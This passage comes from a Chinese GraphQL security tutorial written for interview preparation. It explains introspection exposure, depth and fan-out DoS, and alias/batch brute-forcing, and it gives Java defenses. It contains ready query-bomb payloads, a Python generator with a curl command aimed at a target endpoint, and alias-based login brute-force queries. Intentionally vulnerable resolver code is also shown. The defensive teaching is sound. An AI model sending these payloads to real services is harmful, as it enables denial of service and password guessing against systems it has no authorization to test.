| 6 | 敏感字段做字段级授权(即便裁剪了也要做) | 见 3.6 节 | ★★★ |
| 7 | 内省请求告警 | 监控 __schema 出现频率,突然增多 = 有人在扫 |
★★ |
| 8 | Persisted Query 白名单 | 生产只接受预注册的查询 hash | ★★(最彻底) |
面试题速答:
Q:GraphQL 的内省(Introspection)是什么?有什么安全风险?怎么防?
A(口述版,30 秒): “内省是 GraphQL 的标准特性,客户端发
__schema查询,服务端就把完整 Schema 返回, 本来是给 GraphiQL 做代码补全和自动生成客户端用的。 安全风险在于它把整个数据模型、所有字段名、所有 Mutation 入口一次性暴露给攻击者, 是所有 GraphQL 攻击的前置条件 —— 攻击者不用 Fuzz,一条命令就拿到地图。 特别是 Schema 里经常混着internalRiskScore、passwordHash、cost这类字段, 开发者以为’前端不显示就没人知道’,实际上内省里一览无余。防护要三层: 第一层生产关内省(Apollo 里
introspection: false,graphql-java 用 Instrumentation 拦), 同时关掉’Did you mean’字段建议 —— 否则攻击者靠错误提示也能把字段名问出来; 第二层下线调试页面(/graphiql、/playground); 第三层也是最治本的,敏感字段压根不要进对外的 Schema,用分层 Schema 在构建期裁掉, 再加上字段级授权做最后一道闸。★ 加分点:关内省不是万能的 —— 前端 JS 里可能就有 Schema(代码生成产物), 开了 persisted query 但服务端允许回退到传完整 query,那白名单也等于没开。 所以真正治本的是字段级授权:即便攻击者知道了字段名,查出来也是 null 或者报权限错误。“
3.3 深度攻击与复杂度攻击 —— 一条查询打死服务器
3.3.1 一句话定义 + 生活类比
深度攻击(Depth Attack)/ 复杂度攻击(Complexity Attack): 攻击者构造一个嵌套极深或扇出极大的 GraphQL 查询, 让服务端在一次请求里执行天文数字次数的 Resolver 调用和数据库查询, 从而耗尽 CPU / 数据库连接池 / 内存,造成 DoS。
生活类比(★ 这个比喻最形象):
假设你去政府部门办事。正常流程:你说“我要查我的社保”,窗口查一下给你,1 分钟。
现在有个恶意市民,他说: “我要查我的社保,以及我社保关联的所有单位,以及每个单位的所有员工, 以及每个员工的社保,以及每个员工社保关联的单位,以及每个单位的员工……” 重复 20 层。
窗口工作人员是个老实人,你说什么他就查什么,于是他开始一层一层往下查:
- 第 1 层:1 次查询
- 第 2 层:假设每人关联 10 个单位 → 10 次
- 第 3 层:每单位 100 员工 → 1000 次
- 第 4 层:1000 员工的社保 → 10,000 次
- ……
- 第 20 层:10^19 次
整个政务大厅被这一个人占满,其他市民全办不了事。
这就是 GraphQL 的深度攻击。REST 里不可能发生这种事(一个接口干一件事), 但 GraphQL 里,客户端有权自己决定嵌套多少层。
3.3.2 ★ 攻击原理:图是连通的,指数级放大
先理解 GraphQL 的“图”为什么危险:
# 一个看起来很无害的 Schema —— 互相引用,形成【环】
type User {
id: ID!
name: String!
orders: [Order!]! # 用户 → 订单
}
type Order {
id: ID!
amount: Float!
user: User! # 订单 → 用户(★ 反向引用,形成环!)
items: [Item!]! # 订单 → 商品
}
type Item {
id: ID!
product: Product! # 商品 → 产品
}
type Product {
id: ID!
reviews: [Review!]! # 产品 → 评论
}
type Review {
id: ID!
author: User! # 评论 → 用户(★ 又回到 User,环闭合了!)
}
★ 攻击 Payload 1:循环引用放大(最经典)
# 利用 User → Order → User 的环,无限套娃
query DeepLoop {
user(id: "1") {
orders { # 1 个用户 → 20 个订单
user { # 每个订单 → 1 个用户(又是同一个)
orders { # 又 20 个订单
user {
orders {
user {
orders {
user {
orders { id } # ... 继续套
}
}
}
}
}
}
}
}
}
}
放大计算(假设每个用户 20 个订单,每个订单 1 个用户):
| 嵌套层数 | Resolver 调用次数 | 数据库查询次数 |
|---|---|---|
| 1 层 | 1 | 1 |
| 2 层 | 20 | 21 |
| 3 层 | 400 | 421 |
| 5 层 | 160,000 | ~168,421 |
| 8 层 | 25,600,000,000 | ~2.7 × 10^10 |
| 10 层 | 1.024 × 10^13 | ~1.08 × 10^13 |
10 层嵌套 = 10 万亿次数据库查询。 就算每次查询只要 0.1 毫秒,也要 34 年才能跑完。 而这条“炸弹”的请求体只有 不到 500 字节。
★ 这就是 GraphQL DoS 的可怕之处:请求体极小,破坏力极大,性价比极高。
★ 攻击 Payload 2:扇出攻击(Fan-out,不靠嵌套靠宽度)
# 不用嵌套,用"宽度"打:一次要 100 万条数据
query WideFanout {
allUsers(first: 100000) { # ★ first 参数没上限
id
name
email
phone
orders(first: 1000) { # 每个用户 1000 个订单
id
amount
items(first: 100) { # 每个订单 100 个商品
id
product {
name
reviews(first: 100) { # 每个商品 100 条评论
content
author { name }
}
}
}
}
}
}
计算:100,000 × 1,000 × 100 × 100 = 10^12 条评论记录。
即便只返回一个空数组,光是构造对象 + 序列化 JSON 就能把内存打爆。
★ 攻击 Payload 3:多入口叠加(绕过“单查询深度限制”)
# 有些系统只限制"单个查询的深度",但一次请求可以写【多个命名操作】
# 服务端如果全部执行,深度限制就被绕过了
query A { user(id:"1") { orders { user { orders { user { orders { id }}}}}}}
query B { user(id:"2") { orders { user { orders { user { orders { id }}}}}}}
query C { user(id:"3") { orders { user { orders { user { orders { id }}}}}}}
# ... 写 50 个
⚠️ 注意:GraphQL 规范规定,一次请求如果包含多个匿名操作是不合法的; 但多个命名操作是允许出现在文档里的,服务端只执行其中一个(由
operationName指定)。 不过有些实现会执行全部 —— 这就是绕过点。 所以除了深度限制,还要限制单次请求的查询数量(通常强制为 1)。
3.3.3 漏洞代码长什么样(没做任何限制的“裸奔”服务)
/**
* ❌❌❌ 典型漏洞配置:Spring Boot + graphql-java,什么限制都没加
*
* 这是 90% 的 GraphQL 服务上线时的状态 —— 能用,但完全不设防
*/
@Configuration
public class VulnerableGraphQLConfig {
@Bean
public GraphQL graphQL(GraphQLSchema schema) {
return GraphQL.newGraphQL(schema)
// ❌ 没有 MaxQueryDepthInstrumentation
// ❌ 没有 MaxQueryComplexityInstrumentation
// ❌ 没有超时
// ❌ 没有 DataLoader(N+1 全开,见 3.5 节)
.build();
}
@Bean
public RuntimeWiring runtimeWiring(UserRepository userRepository,
OrderRepository orderRepository) {
return RuntimeWiring.newRuntimeWiring()
.type("Query", b -> b
// ❌ first 参数没有上限校验,传 100 万也照查
.dataFetcher("allUsers", env -> {
int first = env.getArgument("first");
return userRepository.findAll(PageRequest.of(0, first));
})
.dataFetcher("user", env ->
userRepository.findById(env.getArgument("id")))
)
.type("User", b -> b
// ❌ 没有 DataLoader,每个 User 都要查一次 orders
// N 个用户 = N 次数据库查询(N+1 问题)
.dataFetcher("orders", env -> {
User u = env.getSource();
return orderRepository.findByUserId(u.getId());
})
)
.type("Order", b -> b
// ❌ 反向引用,和 User.orders 形成环,且无深度限制
.dataFetcher("user", env -> {
Order o = env.getSource();
return userRepository.findById(o.getUserId());
})
)
.build();
}
}
攻击者一条命令就能打挂:
# 生成一个深度 15 的循环嵌套查询
python3 - <<'EOF'
def build(depth):
if depth == 0:
return "{ id }"
return "{ orders { user %s } }" % build(depth - 1)
query = "query Evil { user(id:\"1\") " + build(15) + " }"
payload = '{"query":"' + query.replace('"', '\\"') + '"}'
print(payload[:200], "...")
open("bomb.json","w").write(payload)
EOF
# 发送
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
--data @bomb.json \
-w "\n耗时: %{time_total}s\n"
# 服务端表现:
# CPU 100%、数据库连接池打满、GC 疯狂、接口全超时
# → 整个站点不可用(DoS 成功)
3.3.4 三种防御方案(从粗到细,必须叠加)
✅ 方案 1:深度限制(Max Query Depth) —— 最简单,但不够
原理:数查询嵌套了几层,超过阈值直接拒绝。
/**
* ✅ 防御 1:查询深度限制
*
* ★ 这是【第一道闸】,简单粗暴但有效
* ★ 缺点:只看深度,不看宽度 —— 一个 3 层但要 100 万条数据的查询照样能打死你
* 所以必须和方案 2(复杂度)一起用
*/
@Configuration
public class GraphQLDepthConfig {
/** 生产环境建议值:10~15。太大没意义,太小影响正常业务 */
@Value("${graphql.security.max-depth:12}")
private int maxDepth;
@Bean
public Instrumentation maxQueryDepthInstrumentation() {
log.info("[GraphQL安全] 查询深度限制 = {}", maxDepth);
return new MaxQueryDepthInstrumentation(maxDepth);
}
/**
* ★ 进阶:自定义深度限制,支持"按类型/按字段"差异化配置
* 有些业务字段天生就要深(比如树形菜单),一刀切会有误伤
*/
@Bean
public Instrumentation customDepthInstrumentation() {
return new SimpleInstrumentation() {
@Override
public InstrumentationContext<ExecutionResult> beginExecuteOperation(
InstrumentationExecuteOperationParameters parameters) {
OperationDefinition op = parameters.getExecutionContext().getOperationDefinition();
int depth = calculateDepth(op.getSelectionSet(), 0);
// ★ 按操作类型差异化:Query 严一点,Mutation 宽松一点
int limit = switch (op.getOperation()) {
case QUERY -> maxDepth;
case MUTATION -> maxDepth + 3;
case SUBSCRIPTION -> maxDepth;
};
if (depth > limit) {
log.warn("[GraphQL安全] 拒绝超深查询 depth={} limit={} op={}",
depth, limit, op.getName());
throw new AbortExecutionException(
GraphqlErrorBuilder.newError()
.message("查询嵌套过深(%d 层),最大允许 %d 层".formatted(depth, limit))
.extensions(Map.of("code", "QUERY_TOO_DEEP"))
.build());
}
return SimpleInstrumentationContext.noOp();
}
/** 递归计算选择集深度 */
private int calculateDepth(SelectionSet selectionSet, int currentDepth) {
if (selectionSet == null || selectionSet.getSelections().isEmpty()) {
return currentDepth;
}
int max = currentDepth;
for (Selection<?> sel : selectionSet.getSelections()) {
int d = currentDepth;
if (sel instanceof Field f) {
// ★ 叶子字段(无子选择)不加深度
if (f.getSelectionSet() != null && !f.getSelectionSet().getSelections().isEmpty()) {
d = calculateDepth(f.getSelectionSet(), currentDepth + 1);
} else {
d = currentDepth + 1;
}
} else if (sel instanceof InlineFragment frag) {
d = calculateDepth(frag.getSelectionSet(), currentDepth);
} else if (sel instanceof FragmentSpread) {
// ★ Fragment 会把深度"藏"起来 —— 攻击者的常用手法
d = currentDepth + 1; // 保守估计,后面用 QueryTraverser 更准
}
max = Math.max(max, d);
}
return max;
}
};
}
}
⚠️ 深度限制的坑:Fragment 可以隐藏深度
query { user(id:"1") { ...Deep } # 看起来只有 2 层 } fragment Deep on User { orders { user { ...Deep } } # ★ 递归 Fragment!实际深度无限 }有些老版本的深度限制实现不展开 Fragment,就会被这个手法绕过。 graphql-java 的
MaxQueryDepthInstrumentation已经处理了 Fragment(会展开并检测循环), 但如果你自己写,一定要用QueryTraverser而不是手动递归。 ★ 另外一定要检测“递归 Fragment”(自己引用自己),直接拒绝。
✅ 方案 2:复杂度分析(Query Complexity) —— ★ 真正有效的方案
原理:给每个字段定一个成本(cost),执行前先算出整条查询的总成本,超过预算就拒绝。
生活类比:
深度限制 = “你最多只能点 3 层高的汉堡”。 复杂度限制 = “你这顿饭总共预算 100 块,超了不许点”。
后者更合理:你可以点一个 5 层的汉堡(只要总价不超), 但不能点 100 个 1 层的汉堡(虽然每层都很浅,但总量超了)。
graphql-java 内置实现:
/**
* ✅ 防御 2:查询复杂度限制(★ 推荐,比深度限制更科学)
*
* 原理:
* 1. 给每个字段配一个复杂度值(默认是 1)
* 2. 列表字段(返回数组的)要乘以分页大小参数(first/limit)
* 3. 递归累加,算出总复杂度
* 4. 超过 maxComplexity 直接拒绝
*
* ★ 关键:列表字段必须乘分页参数,否则 [Order!]! 只算 1 分,
* 攻击者 first=100000 也不影响复杂度 → 限制形同虚设
*/
@Configuration
@Slf4j
public class GraphQLComplexityConfig {
@Value("${graphql.security.max-complexity:5000}")
private int maxComplexity;
@Bean
public Instrumentation maxQueryComplexityInstrumentation() {
log.info("[GraphQL安全] 查询复杂度上限 = {}", maxComplexity);
return new MaxQueryComplexityInstrumentation(maxComplexity,
// ★ 字段复杂度计算器:定义每个字段值多少"分"
(QueryComplexityInfo info) -> {
// ① 基础分:普通字段 1 分
int base = 1;
// ② 分页参数乘数:first / limit / size / count
int multiplier = getPaginationMultiplier(info.getArguments());
// ③ 特殊字段加权(数据库查询贵的字段多算点)
String fieldName = info.getFieldName();
String typeName = info.getParentTypeName();
int weight = getFieldWeight(typeName, fieldName);
return base * multiplier * weight;
});
}
/** 从参数里取分页大小 */
private int getPaginationMultiplier(Map<String, Object> args) {
for (String key : List.of("first", "last", "limit", "size", "count", "pageSize")) {
Object v = args.get(key);
if (v instanceof Number n) {
int size = n.intValue();
// ★ 分页参数本身也要有上限(防止 first=2147483647)
if (size > 1000) {
throw new AbortExecutionException(
GraphqlErrorBuilder.newError()
.message("分页参数 " + key + " 超过上限 1000")
.extensions(Map.of("code", "PAGINATION_TOO_LARGE"))
.build());
}
return Math.max(1, size);
}
}
return 1; // 不是列表字段,乘数 = 1
}
/** 按字段给权重 —— 越"贵"的字段分越高 */
private int getFieldWeight(String typeName, String fieldName) {
// ★ 重查询字段(要查数据库 / 调外部服务 / 复杂计算)
Map<String, Integer> heavy = Map.of(
"Query.allUsers", 10, // 全表扫描
"Query.searchOrders", 20, // 搜索,走 ES
"User.orders", 5, // 关联查询
"Product.reviews", 5,
"Query.aggregateReport", 50, // 聚合报表,最贵
"Query.exportData", 100 // 导出,最最贵
);
String key = typeName + "." + fieldName;
return heavy.getOrDefault(key, 1);
}
}
★ 手动实现一个更可控的复杂度分析器(推荐,因为可以精细控制 + 打点监控):
/**
* 自定义复杂度分析器 —— 支持:
* ① 按字段配置权重(注解驱动)
* ② 分页参数乘数
* ③ Fragment 展开
* ④ 复杂度打点(上报 Prometheus,用于容量规划)
* ⑤ 按用户等级差异化配额(VIP 可以复杂度高一点)
*
* ★ 面试加分点:复杂度不只是"限制",更是"容量规划的眼睛"
* 把 P99 复杂度打到监控上,你能提前发现"哪个客户端在滥用"
*/
@Component
@Slf4j
public class QueryComplexityAnalyzer implements Instrumentation {
private final MeterRegistry meterRegistry;
private final int maxComplexity;
public QueryComplexityAnalyzer(MeterRegistry meterRegistry,
@Value("${graphql.security.max-complexity:5000}") int maxComplexity) {
this.meterRegistry = meterRegistry;
this.maxComplexity = maxComplexity;
}
@Override
public InstrumentationContext<ExecutionResult> beginExecuteOperation(
InstrumentationExecuteOperationParameters parameters) {
ExecutionContext ctx = parameters.getExecutionContext();
OperationDefinition op = ctx.getOperationDefinition();
// ① 计算复杂度
ComplexityResult result = analyze(op, ctx);
// ② 按用户等级取配额
int quota = getQuotaByUserTier(ctx);
// ③ 校验
if (result.total > quota) {
log.warn("[GraphQL安全] 拒绝高复杂度查询 total={} quota={} op={} userTier={}",
result.total, quota, op.getName(), getCurrentTier(ctx));
meterRegistry.counter("graphql.query.rejected",
"reason", "complexity",
"operation", op.getName() == null ? "anonymous" : op.getName()).increment();
throw new AbortExecutionException(
GraphqlErrorBuilder.newError()
.message("查询过于复杂(%d),当前配额 %d。请减少字段或分页大小".formatted(result.total, quota))
.extensions(Map.of("code", "QUERY_TOO_COMPLEX",
"complexity", result.total,
"quota", quota))
.build());
}
// ④ 打点监控(★ 容量规划用)
meterRegistry.summary("graphql.query.complexity",
"operation", op.getName() == null ? "anonymous" : op.getName())
.record(result.total);
// ⑤ 慢查询预警(复杂度 > 80% 配额就告警)
if (result.total > quota * 0.8) {
log.warn("[GraphQL安全] 高复杂度查询预警 total={} quota={} detail={}",
result.total, quota, result.detail);
}
return SimpleInstrumentationContext.noOp();
}
private ComplexityResult analyze(OperationDefinition op, ExecutionContext ctx) {
// ★ 用 graphql-java 官方的 QueryTraverser,它会自动展开 Fragment 并处理循环
QueryTraverser traverser = QueryTraverser.newQueryTraverser()
.schema(ctx.getGraphQLSchema())
.document(ctx.getDocument())
.operationName(op.getName())
.variables(ctx.getVariables())
.build();
AtomicInteger total = new AtomicInteger(0);
Map<String, Integer> byField = new HashMap<>();
traverser.visitPreOrder(new QueryVisitorStub() {
@Override
public TraversalControl visitField(QueryVisitorFieldEnvironment env) {
int cost = calculateFieldCost(env);
total.addAndGet(cost);
byField.merge(
env.getParentType().getName() + "." + env.getField().getName(),
cost, Integer::sum);
return TraversalControl.CONTINUE;
}
});
return new ComplexityResult(total.get(), byField);
}
/**
* 计算单个字段的成本
*
* 公式:cost = 基础权重 × 分页乘数 × 深度加成
*/
private int calculateFieldCost(QueryVisitorFieldEnvironment env) {
GraphQLFieldDefinition fieldDef = env.getFieldDefinition();
GraphQLType parentType = env.getParentType();
String fieldName = env.getField().getName();
// ① 基础权重:优先读 Resolver 方法上的 @QueryCost 注解,没有就用默认
int weight = resolveCostAnnotation(fieldDef);
if (weight <= 0) {
weight = getDefaultWeight(parentType, fieldName, fieldDef);
}
// ② 分页乘数
int multiplier = 1;
Map<String, Object> args = env.getArguments();
for (String key : List.of("first", "last", "limit", "size", "pageSize")) {
Object v = args.get(key);
if (v instanceof Number n) {
multiplier = Math.max(1, Math.min(n.intValue(), 1000));
break;
}
}
// ③ 深度加成:越深的字段成本越高(鼓励扁平查询)
int depth = getDepth(env);
double depthFactor = 1.0 + (depth * 0.1);
return (int) Math.ceil(weight * multiplier * depthFactor);
}
/** 读 Resolver 方法上的 @QueryCost 注解 */
private int resolveCostAnnotation(GraphQLFieldDefinition fieldDef) {
DataFetcher<?> df = fieldDef.getDataFetcher();
if (df instanceof DataFetcherAdapter<?> adapter) {
// graphql-java-kickstart 的注解式 Resolver
Method m = adapter.getMethod();
if (m != null && m.isAnnotationPresent(QueryCost.class)) {
return m.getAnnotation(QueryCost.class).value();
}
}
return 0;
}
/** 默认权重:列表字段 = 2,其余 = 1 */
private int getDefaultWeight(GraphQLType parentType, String fieldName,
GraphQLFieldDefinition def) {
GraphQLType raw = GraphQLTypeUtil.unwrapAll(def.getType());
boolean isList = GraphQLTypeUtil.isList(
GraphQLTypeUtil.unwrapNonNull(def.getType()));
return isList ? 2 : 1;
}
/** 按用户等级给配额 */
private int getQuotaByUserTier(ExecutionContext ctx) {
String tier = getCurrentTier(ctx);
return switch (tier) {
case "INTERNAL" -> maxComplexity * 10; // 内部服务,配额放大
case "VIP" -> maxComplexity * 3;
case "TRIAL" -> maxComplexity / 5; // 试用用户,严格限制
default -> maxComplexity;
};
}
private String getCurrentTier(ExecutionContext ctx) {
Object context = ctx.getContext();
if (context instanceof GraphQLContext gqlCtx) {
Object tier = gqlCtx.get("userTier");
if (tier != null) return tier.toString();
}
return "NORMAL";
}
private int getDepth(QueryVisitorFieldEnvironment env) {
// 从 SelectionSet 往上数父节点层数
int depth = 0;
QueryVisitorFieldEnvironment parent = env.getParentEnvironment();
while (parent != null) {
depth++;
parent = parent.getParentEnvironment();
}
return depth;
}
/** 自定义注解:在 Resolver 方法上标注查询成本 */
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
public @interface QueryCost {
int value() default 1;
}
private record ComplexityResult(int total, Map<String, Integer> detail) {}
}
使用示例(在 Resolver 上标成本):
@Component
public class UserResolver implements GraphQLQueryResolver {
/** 全表扫描,成本高 */
@QueryCost(10)
public List<User> allUsers(int first) {
return userService.findAll(first);
}
/** 走 ES,成本更高 */
@QueryCost(20)
public List<Order> searchOrders(String keyword, int first) {
return searchService.search(keyword, first);
}
/** 聚合报表,最贵 */
@QueryCost(50)
public Report aggregateReport(DateRange range) {
return reportService.aggregate(range);
}
/** 主键查询,很便宜 */
@QueryCost(1)
public User user(String id) {
return userService.findById(id);
}
}
✅ 方案 3:超时 + 资源隔离(兜底,必做)
★ 关键认知: 深度限制和复杂度限制都是事前估算,一定会漏(估算不准、字段成本配置错误、下游服务慢)。 所以必须有事中兜底:超时。 没有超时的 GraphQL 服务,等于把系统的生死交给了客户端的查询形状。
/**
* ✅ 防御 3:超时控制(★ 最后一道防线,必做)
*
* 三层超时:
* ① 整体查询超时(AbortExecutionException)
* ② DataLoader 批量查询超时
* ③ 数据库连接/查询超时
*/
@Configuration
public class GraphQLTimeoutConfig {
/** 整体超时:生产建议 5~10 秒。太长没意义,太短影响正常业务 */
@Value("${graphql.security.timeout-ms:10000}")
private long timeoutMs;
@Bean
public Instrumentation timeoutInstrumentation() {
return new SimpleInstrumentation() {
@Override
public InstrumentationContext<ExecutionResult> beginExecuteOperation(
InstrumentationExecuteOperationParameters parameters) {
ExecutionContext ctx = parameters.getExecutionContext();
String opName = ctx.getOperationDefinition().getName();
// ★ 用 CompletableFuture.orTimeout + 独立线程池,不占用业务线程
CompletableFuture<Void> timeoutGuard = new CompletableFuture<>();
ScheduledExecutorService scheduler =
Executors.newSingleThreadScheduledExecutor();
scheduler.schedule(() -> {
if (!timeoutGuard.isDone()) {
log.error("[GraphQL安全] 查询超时 abort,op={} timeout={}ms",
opName, timeoutMs);
// ★ 中断执行
ctx.getExecutionStrategy()... // graphql-java 中断机制
}
}, timeoutMs, TimeUnit.MILLISECONDS);
return new SimpleInstrumentationContext<>() {
@Override
public void onCompleted(ExecutionResult result, Throwable t) {
scheduler.shutdownNow();
timeoutGuard.complete(null);
}
};
}
};
}
/**
* ★ 更实用的做法:在 Controller 层用 CompletableFuture 包一层超时
* (比 Instrumentation 里的中断更可靠,graphql-java 的中断不总是能停掉已经在跑的 DB 查询)
*/
@Bean
public Executor graphqlQueryExecutor() {
ThreadPoolExecutor executor = new ThreadPoolExecutor(
20, 100, 60L, TimeUnit.SECONDS,
new ArrayBlockingQueue<>(500),
new ThreadFactoryBuilder().setNameFormat("gql-query-%d").build(),
// ★ 拒绝策略:直接拒绝并记日志,绝不 CallerRuns(那会拖死 Tomcat 线程)
new ThreadPoolExecutor.AbortPolicy());
return executor;
}
}
/**
* ★ 推荐实现:Controller 层超时 + 资源隔离
*/
@RestController
@RequestMapping("/graphql")
@Slf4j
public class GraphQLController {
private final GraphQL graphQL;
private final Executor queryExecutor;
@PostMapping
public CompletableFuture<ResponseEntity<Map<String, Object>>> execute(
@RequestBody GraphQLRequest request,
HttpServletRequest httpRequest) {
long start = System.currentTimeMillis();
return CompletableFuture
// ① 在【独立线程池】里执行,不占用 Tomcat 的 200 个工作线程
.supplyAsync(() -> graphQL.execute(request.toExecutionInput()), queryExecutor)
// ② 超时:10 秒后返回错误(注意:只是返回,底层查询要靠 DB 超时兜底)
.orTimeout(10, TimeUnit.SECONDS)
.thenApply(result -> {
long cost = System.currentTimeMillis() - start;
if (cost > 3000) {
log.warn("[GraphQL] 慢查询 cost={}ms query={}", cost,
truncate(request.getQuery(), 200));
}
return ResponseEntity.ok(result.toSpecification());
})
.exceptionally(ex -> {
Throwable cause = ex.getCause();
if (cause instanceof TimeoutException) {
log.error("[GraphQL] 查询超时,已中断 op={}", request.getOperationName());
return ResponseEntity.status(504).body(Map.of(
"errors", List.of(Map.of(
"message", "查询超时,请简化查询条件",
"extensions", Map.of("code", "QUERY_TIMEOUT")))));
}
if (cause instanceof RejectedExecutionException) {
// ★ 线程池满了 —— 说明正在被 DoS,快速失败保护自己
log.error("[GraphQL] 查询线程池已满,拒绝请求(疑似 DoS)");
return ResponseEntity.status(503).body(Map.of(
"errors", List.of(Map.of(
"message", "服务繁忙,请稍后重试",
"extensions", Map.of("code", "SERVER_BUSY")))));
}
log.error("[GraphQL] 执行异常", ex);
return ResponseEntity.status(500).body(Map.of(
"errors", List.of(Map.of("message", "内部错误"))));
});
}
private String truncate(String s, int max) {
return s == null ? "" : (s.length() <= max ? s : s.substring(0, max) + "...");
}
}
3.3.5 三种方案对比 + 组合拳
| 方案 | 拦住什么 | 漏掉什么 | 实现成本 | 优先级 |
|---|---|---|---|---|
| 深度限制 | 嵌套套娃(循环引用) | 宽度攻击(first=100000) |
低(1 行配置) | ★★★ |
| 复杂度限制 | 深度 + 宽度 + 字段权重 | 估算不准的字段 | 中(要配权重) | ★★★ |
| 超时 + 资源隔离 | 所有(兜底) | 已消耗的资源 | 中 | ★★★ |
| 分页参数上限 | first=2147483647 |
— | 极低 | ★★★ |
| Persisted Query 白名单 | 所有(★ 最彻底) | 需要客户端配合改造 | 高 | ★★(最彻底但成本最高) |
★ 面试金句: “深度限制是第一道闸,简单有效但会被宽度攻击绕过; 复杂度限制是主力,科学但要配权重、会估算不准; 超时是最后一道保险,一定会漏的一定要兜住。 三件事必须一起做,缺一个都有可能被打穿。 如果只能做一件,做超时 —— 因为它兜底的是’所有你没想到的攻击方式’。”
3.3.6 深度/复杂度攻击 —— 防御 Checklist
| # | 检查项 | 推荐值 | 优先级 |
|---|---|---|---|
| 1 | 查询深度上限 | 10~15 | ★★★ |
| 2 | 查询复杂度上限 | 5000(按业务调) | ★★★ |
| 3 | 分页参数上限 | first ≤ 100,硬上限 1000 |
★★★ |
| 4 | 列表字段复杂度必须乘分页大小 | 必须 | ★★★ |
| 5 | 整体查询超时 | 10 秒 | ★★★ |
| 6 | 独立线程池 + 有界队列 + AbortPolicy | 队列 500 | ★★★ |
| 7 | 禁止递归 Fragment | 启动时校验 | ★★ |
| 8 | 一次请求只允许一个操作 | 强制 | ★★ |
| 9 | 复杂度打点监控 + P99 告警 | Prometheus | ★★ |
| 10 | 重查询字段标注 @QueryCost |
全量 Resolver | ★★ |
| 11 | 数据库层兜底(慢查询 kill) | MySQL max_execution_time |
★★ |
| 12 | 网关层查询体大小限制 | 8KB | ★ |
3.4 批量查询攻击与别名攻击 —— 绕过限流、暴力破解加速 1000 倍
3.4.1 一句话定义 + 生活类比
批量查询攻击(Batching Attack):利用 GraphQL 一次请求可以包含多个同名操作的特性, 把本来需要 1000 次请求才能干完的事(比如试 1000 个密码),塞进 1 次请求里。
别名攻击(Aliasing Attack):利用 GraphQL 的字段别名(
alias: field)特性, 在同一个查询里重复查询同一个字段无数次,绕过后端的“每字段限流”和“重复查询检测”。
生活类比(★ 这个特别形象):
银行柜台为了防止有人反复试探密码,定了个规矩:每人每天只能来柜台 3 次。
正常攻击者:一天试 3 次密码,一年才能试 1000 次 —— 放弃了。
GraphQL 攻击者:他来了 1 次,但手里拿着一张纸条,上面写着:
第1次尝试:密码 123456 第2次尝试:密码 123457 第3次尝试:密码 123458 ... 第1000次尝试:密码 124455柜员一看,“这是 1 次请求啊”,于是老老实实把这 1000 次全试了一遍。
限流规则(每天 3 次)完全失效 —— 因为它只数“来了几次柜台”,不数“试了几次密码”。
这就是批量查询攻击:请求次数没超,操作次数超了 1000 倍。
3.4.2 ★ 攻击原理:GraphQL 的两个“合法特性”被滥用
特性 1:别名(Alias)—— 同一字段可以查无数次
# 正常用法:一次查两个用户,用别名区分
query {
alice: user(id: "1") { name }
bob: user(id: "2") { name }
}
# 返回:{"data":{"alice":{"name":"Alice"},"bob":{"name":"Bob"}}}
# ★ 恶意用法:同一个字段重复 1000 次,每次参数不同
query BruteForce {
a1: login(username: "admin", password: "123456") { token }
a2: login(username: "admin", password: "123457") { token }
a3: login(username: "admin", password: "123458") { token }
a4: login(username: "admin", password: "123459") { token }
# ... 写 1000 行
a1000: login(username: "admin", password: "124455") { token }
}
一次 HTTP 请求 = 1000 次密码尝试。 而你的限流规则是“每分钟最多 10 次请求” → 完全没触发。
特性 2:批量(Batching)—— 一次 HTTP 请求装多个 GraphQL 操作
// ★ 很多 GraphQL 服务端(尤其是 Apollo)支持"批量请求":
// 请求体是个【数组】,每个元素是一次独立的 GraphQL 操作
[
{"query": "mutation { login(username:\"admin\", password:\"123456\") { token } }"},
{"query": "mutation { login(username:\"admin\", password:\"123457\") { token } }"},
{"query": "mutation { login(username:\"admin\", password:\"123458\") { token } }"},
...
{"query": "mutation { login(username:\"admin\", password:\"124455\") { token } }"}
]
服务端会依次执行数组里的每个操作,然后把结果也打包成数组返回。 这是 Apollo 为了减少 HTTP 往返设计的性能优化(合法用途), 但在攻击者手里就是现成的暴力破解放大器。
★ 组合技:别名 + 批量 = 10 万次尝试
// 数组里放 100 个元素,每个元素里 1000 个别名
// = 1 次 HTTP 请求 = 100,000 次密码尝试
[
{"query":"{a1:login(u:\"admin\",p:\"000001\"){t} a2:...(1000个)}"},
{"query":"{a1:login(u:\"admin\",p:\"001001\"){t} a2:...(1000个)}"},
...
{"query":"{a1:login(u:\"admin\",p:\"099001\"){t} a2:...(1000个)}"}
]
实际危害场景(远不止暴力破解):
| 场景 | 正常(REST) | GraphQL 批量 + 别名 |
|---|---|---|
| 密码爆破 | 100 次/分钟(被限流) | 10 万次/请求 |
| 短信验证码轰炸 | 10 条/分钟(被限流) | 1 次请求发 1000 条短信 |
| 优惠券/邀请码枚举 | 逐个试,很慢 | 1 次请求试 10 万个码 |
| 拖库(遍历 ID) | 1000 条/分钟 | 1 次请求拿 10 万条 |
| 触发短信/邮件(DoS 成本) | 有限 | ★ 直接烧钱(1 次请求 = 几千元短信费) |
| 撞库 | 慢 | 快 1000 倍 |
3.4.3 漏洞代码(没做批量/别名限制的登录接口)
/**
* ❌❌❌ 漏洞代码:GraphQL 登录 Mutation,没有做任何"操作次数"限制
*
* 攻击者用别名可以在 1 次请求里调用 1000 次 login()
*/
@Component
public class AuthMutationResolver implements GraphQLMutationResolver {
@Autowired
private UserService userService;
@Autowired
private PasswordService passwordService;
@Autowired
private JwtService jwtService;
/**
* ❌ 问题:
* 1. 没有登录失败次数限制(或者只在"HTTP 请求维度"限流,被别名绕过)
* 2. 没有验证码
* 3. 同步执行,1000 个别名 = 1000 次串行 BCrypt 验证
* BCrypt 一次约 100ms → 1000 次 = 100 秒!
* ★ 这本身就是 DoS(即便不爆破,光是 CPU 就被打满)
*/
public LoginResult login(String username, String password) {
User user = userService.findByUsername(username);
if (user == null) {
return LoginResult.fail("用户不存在");
}
boolean ok = passwordService.matches(password, user.getPasswordHash());
if (!ok) {
return LoginResult.fail("密码错误");
}
return LoginResult.success(jwtService.generate(user));
}
/**
* ❌ 同样危险:短信验证码
* 攻击者 1 次请求发 1000 条短信 → 直接烧钱
*/
public boolean sendSmsCode(String phone) {
return smsService.sendCode(phone);
}
}
攻击脚本(真实可用):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
graphql_alias_bruteforce.py —— 演示 GraphQL 别名暴力破解(仅用于授权测试)
